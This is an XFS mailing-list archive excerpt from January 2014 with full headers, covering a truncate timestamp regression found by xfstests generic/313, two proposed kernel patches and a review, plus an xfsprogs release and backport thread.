(relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id EAE427F3F for ; Fri, 10 Jan 2014 03:32:14 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id DDBB730406B for ; Fri, 10 Jan 2014 01:32:11 -0800 (PST) X-ASG-Debug-ID: 1389346327-04cbb04168cf32a0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id d5usdHy3AlpAYXhZ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 10 Jan 2014 01:32:11 -0800 (PST) X-Barracuda-Envelope-From: BATV+12dff0b91a2b4fa7e7af+3792+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1W1YRQ-0000fj-5R; Fri, 10 Jan 2014 09:31:48 +0000 Date: Fri, 10 Jan 2014 01:31:48 -0800 From: Christoph Hellwig To: Al Viro Cc: Linus Torvalds , Eric Paris , Steven Rostedt , Paul McKenney , Dave Chinner , linux-fsdevel , James Morris , Andrew Morton , Stephen Smalley , Theodore Ts'o , stable , Paul Moore , LKML , Matthew Wilcox , xfs@oss.sgi.com Subject: Re: [PATCH] vfs: Fix possible NULL pointer dereference in inode_permission() Message-ID: <20140110093148.GA26159@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] vfs: Fix possible NULL pointer dereference in inode_permission() References: <20140109162731.12500986@gandalf.local.home> <20140109214239.GD29910@parisc-linux.org> <20140109165012.391db81e@gandalf.local.home> <20140109223127.GM10323@ZenIV.linux.org.uk> <20140109182523.5b50131f@gandalf.local.home> <20140109182756.17abaaa8@gandalf.local.home> <1389310626.15209.92.camel@localhost> <20140110000642.GN10323@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140110000642.GN10323@ZenIV.linux.org.uk> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1389346331 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143932 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Jan 10, 2014 at 12:06:42AM +0000, Al Viro wrote: > Check what XFS is doing ;-/ That's where those call_rcu() have come from. > Sure, we can separate the simple "just do call_rcu(...->free_inode)" case > and hit it whenever full ->free_inode is there and ->destroy_inode isn't. > Not too pretty, but removal of tons of boilerplate might be worth doing > that anyway. But ->destroy_inode() is still needed for cases where fs > has its own idea of inode lifetime rules. Again, check what XFS is doing > in that area... Btw, I'd really love to get rid of the XFS ->destroy_inode abuse, it's been a long time thorn in the flesh. What's really needed there to make XFS behave more similar to everyone else is a way for the filesystem to say: "I can't actually free this inode right now, but I'll come back to you later". That's what we actually do right now, except we pretend that the VFS inode gets freed, while its memory lives on (punt intended). From fengguang.wu@intel.com Fri Jan 10 06:27:13 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 77EE17F3F for ; Fri, 10 Jan 2014 06:27:13 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5CCBA30407F for ; Fri, 10 Jan 2014 04:27:10 -0800 (PST) X-ASG-Debug-ID: 1389356825-04cb6c537bcf3a20001-NocioJ Received: from mga02.intel.com (mga02.intel.com [134.134.136.20]) by cuda.sgi.com with ESMTP id cRigOBtQYQy4HV8o for ; Fri, 10 Jan 2014 04:27:06 -0800 (PST) X-Barracuda-Envelope-From: fengguang.wu@intel.com X-Barracuda-Apparent-Source-IP: 134.134.136.20 X-Barracuda-IPDD: Level2 [intel.com/134.134.136.20] Received: from fmsmga001.fm.intel.com ([10.253.24.23]) by orsmga101.jf.intel.com with ESMTP; 10 Jan 2014 04:27:05 -0800 X-Barracuda-IPDD: Level2 [intel.com/134.134.136.20] X-Barracuda-IPDD: Level2 [intel.com/134.134.136.20] X-ExtLoop1: 1 X-IronPort-AV: E=Sophos;i="4.95,638,1384329600"; d="scan'208";a="456666568" Received: from unknown (HELO wfg-t420.sh.intel.com) ([10.255.21.138]) by fmsmga001.fm.intel.com with ESMTP; 10 Jan 2014 04:27:03 -0800 Received: from wfg by wfg-t420.sh.intel.com with local (Exim 4.77) (envelope-from ) id 1W1bAy-0003n3-Ol; Fri, 10 Jan 2014 20:27:00 +0800 Date: Fri, 10 Jan 2014 20:27:00 +0800 From: fengguang.wu@intel.com To: Christoph Hellwig Cc: LKML , "xfs@oss.sgi.com" Subject: [xfs] c91c46c12: xfstests generic/313 regression Message-ID: <20140110122700.GA12624@localhost> X-ASG-Orig-Subj: [xfs] c91c46c12: xfstests generic/313 regression MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: mga02.intel.com[134.134.136.20] X-Barracuda-Start-Time: 1389356826 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Hi Christoph, We find this commit failed xfstests generic/313. Attached is our kconfig. c91c46c12768daac8486dff0f74bc52c2ec974cd is the first bad commit commit c91c46c12768daac8486dff0f74bc52c2ec974cd Author: Christoph Hellwig AuthorDate: Mon Nov 18 05:10:52 2013 -0800 Commit: Ben Myers CommitDate: Fri Dec 6 17:26:19 2013 -0600 xfs: add xfs_setattr_time Split out a xfs_setattr_time helper to share code between truncate and regular setattr similar to xfs_setattr_mode. I might also have another caller growing for this in the near future. Signed-off-by: Christoph Hellwig Reviewed-by: Brian Foster Signed-off-by: Ben Myers fs/xfs/xfs_iops.c | 66 +++++++++++++++++++++++++------------------------------ 1 file changed, 30 insertions(+), 36 deletions(-) Thanks, Fengguang From jeff.liu@oracle.com Fri Jan 10 07:22:51 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 55B6C7F3F for ; Fri, 10 Jan 2014 07:22:51 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 49949304066 for ; Fri, 10 Jan 2014 05:22:48 -0800 (PST) X-ASG-Debug-ID: 1389360166-04cb6c537ccf5730001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id IEizGx9HkyG67hJH (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 10 Jan 2014 05:22:46 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet22.oracle.com (ucsinet22.oracle.com [156.151.31.94]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id s0ADMHBf019901 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 10 Jan 2014 13:22:18 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by ucsinet22.oracle.com (8.14.5+Sun/8.14.5) with ESMTP id s0ADMGhZ025432 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 10 Jan 2014 13:22:17 GMT Received: from abhmp0004.oracle.com (abhmp0004.oracle.com [141.146.116.10]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0ADMGh9005338; Fri, 10 Jan 2014 13:22:16 GMT Received: from [192.168.1.106] (/123.119.109.99) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Fri, 10 Jan 2014 05:22:15 -0800 Message-ID: <52CFF402.5080409@oracle.com> Date: Fri, 10 Jan 2014 21:22:10 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: fengguang.wu@intel.com, Christoph Hellwig CC: LKML , "xfs@oss.sgi.com" Subject: Re: [xfs] c91c46c12: xfstests generic/313 regression References: <20140110122700.GA12624@localhost> X-ASG-Orig-Subj: Re: [xfs] c91c46c12: xfstests generic/313 regression In-Reply-To: <20140110122700.GA12624@localhost> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet22.oracle.com [156.151.31.94] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1389360166 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143937 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words Hi Fengguang, Thanks for help catching up this. I think the below patch can fix it up, but maybe there would have a neater solution once Christoph is back. Thanks, -Jeff From: Jie Liu Subject: xfs: fix ctime and mtime update for truncate(2) There is a semantic difference between truncate(2) and ftruncate(2) as per VFS implementation, that is the truncate(2) is called without both ATTR_CTIME and ATTR_MTIME flags in inode attributes (iattr->ia_valid), and this is a special case where we need to update the times despite not having these flags set. However, this was broken by: Commit: c91c46c12768daac8486dff0f74bc52c2ec974cd xfs: add xfs_setattr_time Since those flags are not set in iattr->ia_valid, and this problem can be reproduced via xfstests/generic/313. This patch fix it by adding a mask argument to xfs_setattr_time() as it includes those flags in xfs_setattr_size() specially. Reported-by: Fengguang Wu Signed-off-by: Jie Liu --- fs/xfs/xfs_iops.c | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/fs/xfs/xfs_iops.c b/fs/xfs/xfs_iops.c index 0ce1d75..defd47e 100644 --- a/fs/xfs/xfs_iops.c +++ b/fs/xfs/xfs_iops.c @@ -477,23 +477,24 @@ xfs_setattr_mode( static void xfs_setattr_time( struct xfs_inode *ip, - struct iattr *iattr) + struct iattr *iattr, + int mask) { struct inode *inode = VFS_I(ip); ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); - if (iattr->ia_valid & ATTR_ATIME) { + if (mask & ATTR_ATIME) { inode->i_atime = iattr->ia_atime; ip->i_d.di_atime.t_sec = iattr->ia_atime.tv_sec; ip->i_d.di_atime.t_nsec = iattr->ia_atime.tv_nsec; } - if (iattr->ia_valid & ATTR_CTIME) { + if (mask & ATTR_CTIME) { inode->i_ctime = iattr->ia_ctime; ip->i_d.di_ctime.t_sec = iattr->ia_ctime.tv_sec; ip->i_d.di_ctime.t_nsec = iattr->ia_ctime.tv_nsec; } - if (iattr->ia_valid & ATTR_MTIME) { + if (mask & ATTR_MTIME) { inode->i_mtime = iattr->ia_mtime; ip->i_d.di_mtime.t_sec = iattr->ia_mtime.tv_sec; ip->i_d.di_mtime.t_nsec = iattr->ia_mtime.tv_nsec; @@ -657,7 +658,7 @@ xfs_setattr_nonsize( if (mask & ATTR_MODE) xfs_setattr_mode(ip, iattr); if (mask & (ATTR_ATIME|ATTR_CTIME|ATTR_MTIME)) - xfs_setattr_time(ip, iattr); + xfs_setattr_time(ip, iattr, mask); xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); @@ -875,7 +876,7 @@ xfs_setattr_size( if (mask & ATTR_MODE) xfs_setattr_mode(ip, iattr); if (mask & (ATTR_ATIME|ATTR_CTIME|ATTR_MTIME)) - xfs_setattr_time(ip, iattr); + xfs_setattr_time(ip, iattr, mask); xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); -- 1.8.3.2 On 01/10 2014 20:27 PM, fengguang.wu@intel.com wrote: > Hi Christoph, > > We find this commit failed xfstests generic/313. > Attached is our kconfig. > > c91c46c12768daac8486dff0f74bc52c2ec974cd is the first bad commit > commit c91c46c12768daac8486dff0f74bc52c2ec974cd > Author: Christoph Hellwig > AuthorDate: Mon Nov 18 05:10:52 2013 -0800 > Commit: Ben Myers > CommitDate: Fri Dec 6 17:26:19 2013 -0600 > > xfs: add xfs_setattr_time > > Split out a xfs_setattr_time helper to share code between truncate and > regular setattr similar to xfs_setattr_mode. I might also have another > caller growing for this in the near future. > > Signed-off-by: Christoph Hellwig > Reviewed-by: Brian Foster > Signed-off-by: Ben Myers > > fs/xfs/xfs_iops.c | 66 +++++++++++++++++++++++++------------------------------ > 1 file changed, 30 insertions(+), 36 deletions(-) > > Thanks, > Fengguang > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From BATV+12dff0b91a2b4fa7e7af+3792+infradead.org+hch@bombadil.srs.infradead.org Fri Jan 10 07:33:20 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9F8F57F3F for ; Fri, 10 Jan 2014 07:33:20 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 84EB98F8035 for ; Fri, 10 Jan 2014 05:33:17 -0800 (PST) X-ASG-Debug-ID: 1389360795-04cb6c537ccf5c50001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id 2ZmN5DfJI0wGszeA (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 10 Jan 2014 05:33:16 -0800 (PST) X-Barracuda-Envelope-From: BATV+12dff0b91a2b4fa7e7af+3792+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1W1cCw-00074t-Me; Fri, 10 Jan 2014 13:33:06 +0000 Date: Fri, 10 Jan 2014 05:33:06 -0800 From: Christoph Hellwig To: Jeff Liu Cc: fengguang.wu@intel.com, Christoph Hellwig , LKML , "xfs@oss.sgi.com" Subject: Re: [xfs] c91c46c12: xfstests generic/313 regression Message-ID: <20140110133306.GA22918@infradead.org> X-ASG-Orig-Subj: Re: [xfs] c91c46c12: xfstests generic/313 regression References: <20140110122700.GA12624@localhost> <52CFF402.5080409@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52CFF402.5080409@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1389360796 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143937 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words On Fri, Jan 10, 2014 at 09:22:10PM +0800, Jeff Liu wrote: > Hi Fengguang, > > Thanks for help catching up this. I think the below patch can fix it > up, but maybe there would have a neater solution once Christoph is back. I'd just remove the mask variable that caused the problem. Untested patch below: diff --git a/fs/xfs/xfs_iops.c b/fs/xfs/xfs_iops.c index 0ce1d75..ce966c5 100644 --- a/fs/xfs/xfs_iops.c +++ b/fs/xfs/xfs_iops.c @@ -714,7 +714,6 @@ xfs_setattr_size( { struct xfs_mount *mp = ip->i_mount; struct inode *inode = VFS_I(ip); - int mask = iattr->ia_valid; xfs_off_t oldsize, newsize; struct xfs_trans *tp; int error; @@ -735,8 +734,8 @@ xfs_setattr_size( ASSERT(xfs_isilocked(ip, XFS_IOLOCK_EXCL)); ASSERT(S_ISREG(ip->i_d.di_mode)); - ASSERT((mask & (ATTR_UID|ATTR_GID|ATTR_ATIME|ATTR_ATIME_SET| - ATTR_MTIME_SET|ATTR_KILL_PRIV|ATTR_TIMES_SET)) == 0); + ASSERT((iattr->ia_valid & (ATTR_UID|ATTR_GID|ATTR_ATIME|ATTR_ATIME_SET| + ATTR_MTIME_SET|ATTR_KILL_PRIV|ATTR_TIMES_SET)) == 0); oldsize = inode->i_size; newsize = iattr->ia_size; @@ -745,7 +744,7 @@ xfs_setattr_size( * Short circuit the truncate case for zero length files. */ if (newsize == 0 && oldsize == 0 && ip->i_d.di_nextents == 0) { - if (!(mask & (ATTR_CTIME|ATTR_MTIME))) + if (!(iattr->ia_valid & (ATTR_CTIME|ATTR_MTIME))) return 0; /* @@ -833,10 +832,11 @@ xfs_setattr_size( * these flags set. For all other operations the VFS set these flags * explicitly if it wants a timestamp update. */ - if (newsize != oldsize && (!(mask & (ATTR_CTIME | ATTR_MTIME)))) { + if (newsize != oldsize && + !(iattr->ia_valid & (ATTR_CTIME | ATTR_MTIME))) { iattr->ia_ctime = iattr->ia_mtime = current_fs_time(inode->i_sb); - mask |= ATTR_CTIME | ATTR_MTIME; + iattr->ia_valid |= ATTR_CTIME | ATTR_MTIME; } /* @@ -872,9 +872,9 @@ xfs_setattr_size( xfs_inode_clear_eofblocks_tag(ip); } - if (mask & ATTR_MODE) + if (iattr->ia_valid & ATTR_MODE) xfs_setattr_mode(ip, iattr); - if (mask & (ATTR_ATIME|ATTR_CTIME|ATTR_MTIME)) + if (iattr->ia_valid & (ATTR_ATIME|ATTR_CTIME|ATTR_MTIME)) xfs_setattr_time(ip, iattr); xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); From jeff.liu@oracle.com Fri Jan 10 08:01:39 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 663F87F3F for ; Fri, 10 Jan 2014 08:01:39 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4B1D38F8033 for ; Fri, 10 Jan 2014 06:01:36 -0800 (PST) X-ASG-Debug-ID: 1389362494-04cbb04168cfb850001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id JL51fV8a9NpRypIL (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 10 Jan 2014 06:01:34 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id s0AE18YY028858 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 10 Jan 2014 14:01:09 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0AE17IK013893 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 10 Jan 2014 14:01:08 GMT Received: from abhmp0019.oracle.com (abhmp0019.oracle.com [141.146.116.25]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0AE17Db013879; Fri, 10 Jan 2014 14:01:07 GMT Received: from [192.168.1.106] (/123.119.109.99) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Fri, 10 Jan 2014 06:01:07 -0800 Message-ID: <52CFFD1C.7050005@oracle.com> Date: Fri, 10 Jan 2014 22:01:00 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Christoph Hellwig CC: fengguang.wu@intel.com, LKML , "xfs@oss.sgi.com" Subject: Re: [xfs] c91c46c12: xfstests generic/313 regression References: <20140110122700.GA12624@localhost> <52CFF402.5080409@oracle.com> <20140110133306.GA22918@infradead.org> X-ASG-Orig-Subj: Re: [xfs] c91c46c12: xfstests generic/313 regression In-Reply-To: <20140110133306.GA22918@infradead.org> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1389362494 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143938 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words On 01/10 2014 21:33 PM, Christoph Hellwig wrote: > On Fri, Jan 10, 2014 at 09:22:10PM +0800, Jeff Liu wrote: >> Hi Fengguang, >> >> Thanks for help catching up this. I think the below patch can fix it >> up, but maybe there would have a neater solution once Christoph is back. > > I'd just remove the mask variable that caused the problem. Untested > patch below: I also thought to fix this problem in this way, however I'm not sure if those flags can be set back to iattr->ia_valid internally... Otherwise, this fix looks good to me. Reviewed-by: Jie Liu Thanks, -Jeff > > diff --git a/fs/xfs/xfs_iops.c b/fs/xfs/xfs_iops.c > index 0ce1d75..ce966c5 100644 > --- a/fs/xfs/xfs_iops.c > +++ b/fs/xfs/xfs_iops.c > @@ -714,7 +714,6 @@ xfs_setattr_size( > { > struct xfs_mount *mp = ip->i_mount; > struct inode *inode = VFS_I(ip); > - int mask = iattr->ia_valid; > xfs_off_t oldsize, newsize; > struct xfs_trans *tp; > int error; > @@ -735,8 +734,8 @@ xfs_setattr_size( > > ASSERT(xfs_isilocked(ip, XFS_IOLOCK_EXCL)); > ASSERT(S_ISREG(ip->i_d.di_mode)); > - ASSERT((mask & (ATTR_UID|ATTR_GID|ATTR_ATIME|ATTR_ATIME_SET| > - ATTR_MTIME_SET|ATTR_KILL_PRIV|ATTR_TIMES_SET)) == 0); > + ASSERT((iattr->ia_valid & (ATTR_UID|ATTR_GID|ATTR_ATIME|ATTR_ATIME_SET| > + ATTR_MTIME_SET|ATTR_KILL_PRIV|ATTR_TIMES_SET)) == 0); > > oldsize = inode->i_size; > newsize = iattr->ia_size; > @@ -745,7 +744,7 @@ xfs_setattr_size( > * Short circuit the truncate case for zero length files. > */ > if (newsize == 0 && oldsize == 0 && ip->i_d.di_nextents == 0) { > - if (!(mask & (ATTR_CTIME|ATTR_MTIME))) > + if (!(iattr->ia_valid & (ATTR_CTIME|ATTR_MTIME))) > return 0; > > /* > @@ -833,10 +832,11 @@ xfs_setattr_size( > * these flags set. For all other operations the VFS set these flags > * explicitly if it wants a timestamp update. > */ > - if (newsize != oldsize && (!(mask & (ATTR_CTIME | ATTR_MTIME)))) { > + if (newsize != oldsize && > + !(iattr->ia_valid & (ATTR_CTIME | ATTR_MTIME))) { > iattr->ia_ctime = iattr->ia_mtime = > current_fs_time(inode->i_sb); > - mask |= ATTR_CTIME | ATTR_MTIME; > + iattr->ia_valid |= ATTR_CTIME | ATTR_MTIME; > } > > /* > @@ -872,9 +872,9 @@ xfs_setattr_size( > xfs_inode_clear_eofblocks_tag(ip); > } > > - if (mask & ATTR_MODE) > + if (iattr->ia_valid & ATTR_MODE) > xfs_setattr_mode(ip, iattr); > - if (mask & (ATTR_ATIME|ATTR_CTIME|ATTR_MTIME)) > + if (iattr->ia_valid & (ATTR_ATIME|ATTR_CTIME|ATTR_MTIME)) > xfs_setattr_time(ip, iattr); > > xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From rjohnston@sgi.com Fri Jan 10 08:45:56 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id DA91A7F3F for ; Fri, 10 Jan 2014 08:45:56 -0600 (CST) Received: from xmail.sgi.com (pv-excas2-dc21.corp.sgi.com [137.38.106.9]) by relay1.corp.sgi.com (Postfix) with ESMTP id 911F78F8035; Fri, 10 Jan 2014 06:45:56 -0800 (PST) Received: from [128.162.233.55] (128.162.233.55) by xmail.sgi.com (137.38.106.6) with Microsoft SMTP Server (TLS) id 14.3.123.3; Fri, 10 Jan 2014 08:45:55 -0600 Message-ID: <52D007A6.2060607@sgi.com> Date: Fri, 10 Jan 2014 08:45:58 -0600 From: Rich Johnston User-Agent: Mozilla/5.0 (X11; Linux i686; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Christoph Hellwig , Eric Sandeen CC: Ben Myers , xfs-oss Subject: Re: projid32bit=1 default in xfsprogs-3.2.0 References: <525C1C15.7020204@sandeen.net> <20131014211659.GI5663@dastard> <20131014212347.GB1935@sgi.com> <525C6108.6010108@sandeen.net> <20131015194609.GC32095@infradead.org> <20131015204342.GA24997@infradead.org> In-Reply-To: <20131015204342.GA24997@infradead.org> Content-Type: text/plain; charset="ISO-8859-1"; format=flowed Content-Transfer-Encoding: 7bit X-Originating-IP: [128.162.233.55] On 10/15/2013 03:43 PM, Christoph Hellwig wrote: > On Tue, Oct 15, 2013 at 12:46:09PM -0700, Christoph Hellwig wrote: >> On Mon, Oct 14, 2013 at 04:24:24PM -0500, Eric Sandeen wrote: >>> Ok. Default it is! Thanks guys, just wanted to make sure we were >>> all in agreement there. >> >> Can we make sure this gets documented in doc/CHANGES? >> >> I'm also pretty sure the entry for 3.2.0-alpha1 is severly lacking, >> can we make sure the one for the real release is as detailed as the ones >> for the previous releases? > > Btw, I also noticed releases after 3.1.9 aren't tagged in git, any > chance we could fix that? The release.sh script was supposed to take > care of this automatically. > > Also we have tons of fixes in the xfsprogs repo that really should go > out into a new 3.1.12 release: > > xfs_io: v8 add the lseek() SEEK_DATA/SEEK_HOLE support > xfs_db: add header to freesp -d output > xfs_repair: zero out unused parts of superblocks > xfs_repair: add prototype for alloc_ex_data() > xfsprogs: fix Out-of-bounds access in repair/dinode.c > xfsprogs: fix inode crash in xfs_repair > xfsprogs: fix unint var in repair phase6 > xfsprogs: fix agcnts leak in xfs_repair's scan_ags > xfsprogs:free bp in xlog_find_tail() error path > xfsprogs: free bp in xlog_find_zeroed() error path > xfsprogs: fix buffer leak in xlog_print_find_oldest > xfsprogs: avoid double-free in xfs_attr_node_addname > xfsprogs/io: add readdir command > mkfs.xfs: fix protofile name create block reservation > logprint: fix wrapped log dump issue > xfs_metadump: manpage fix regarding frozen fs > mkfs: add missing noalign suboption information > xfsprogs: fix make deb > xfsprogs: define umode_t for build if not defined already > xfs_logprint: fix continuation transactions > xfs_fsr: file reads should be O_DIRECT > xfs_logprint: print all AGI unlinked buckets > > + a few more pending on the list. I'd volunteer to prepare and test > thos backports once we get the remaining patches from the list in. > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > 